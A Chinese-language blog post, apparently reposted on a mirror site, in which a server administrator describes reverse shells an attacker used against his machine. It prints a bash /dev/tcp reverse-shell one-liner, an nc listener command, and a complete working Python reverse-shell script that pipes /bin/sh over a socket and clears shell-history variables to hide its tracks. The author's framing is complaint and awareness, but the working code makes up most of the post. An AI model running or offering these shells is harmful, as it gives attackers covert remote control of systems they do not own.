zoukankan      html  css  js  c++  java
  • 以Python写的 反弹工具

    python 反弹shell

    我们知道,一般的反弹shell   

    可以直接使用   base 反弹

    bash -i >& /dev/tcp/ownip/port 0>&1

    还可以使用一些简单的命令   nc  nmap 等等。。。。

    nc -l -p port -vv xxx

    经过前几次的攻击,他也变聪明了,知道我针对了php 的文件加强了管控,

    所以它又有针对性的使用了Linux自带的Python  进行基于Python的反弹

    源码:

    # -*- coding:utf-8 -*-
    #!/usr/bin/env python
    """
    back connect py version,only linux have pty module
    code by google security team
    """
    import sys,os,socket,pty
    shell = "/bin/sh"

    def usage(name):
        print 'python reverse connector'
        print 'usage: %s <ip_addr> <port>' % name

    def main():
        if len(sys.argv) !=3:
            usage(sys.argv[0])
            sys.exit()
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((sys.argv[1],int(sys.argv[2])))
            print 'connect ok'
        except:
            print 'connect faild'
            sys.exit()
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        global shell
        os.unsetenv("HISTFILE")
        os.unsetenv("HISTFILESIZE")
        os.unsetenv("HISTSIZE")
        os.unsetenv("HISTORY")
        os.unsetenv("HISTSAVE")
        os.unsetenv("HISTZONE")
        os.unsetenv("HISTLOG")
        os.unsetenv("HISTCMD")
        os.putenv("HISTFILE",'/dev/null')
        os.putenv("HISTSIZE",'0')
        os.putenv("HISTFILESIZE",'0')
        pty.spawn(shell)
        s.close()

    if __name__ == '__main__':
        main()

    很恶心啊 ,可以看到通过os函数,针对环境变量无限向我服务器上传参

    我查询资料 还发现  即使你禁所有端口,只开放80 端口,也还能通过Python绕过去TCP。从UDP上去。恶心至极啊!!!

    谢邀大神

    友情链接:

    https://www.cnblogs.com/mujj/articles/3272401.html 

  • 相关阅读:
    在 Zabbix 中增加对磁盘性能的监控
    一些实用的php库
    虚拟化—Docker解决方案
    linux创建root也不能访问的文件夹
    mysql5.5升级5.6
    xtrabackup部分备份数据库 Partial Backups
    mysql计划任务
    mysql单机多实例
    mysql数据类型优化
    linux手工释放内存
  • 原文地址:https://www.cnblogs.com/huidou/p/10761491.html
Copyright © 2011-2022 走看看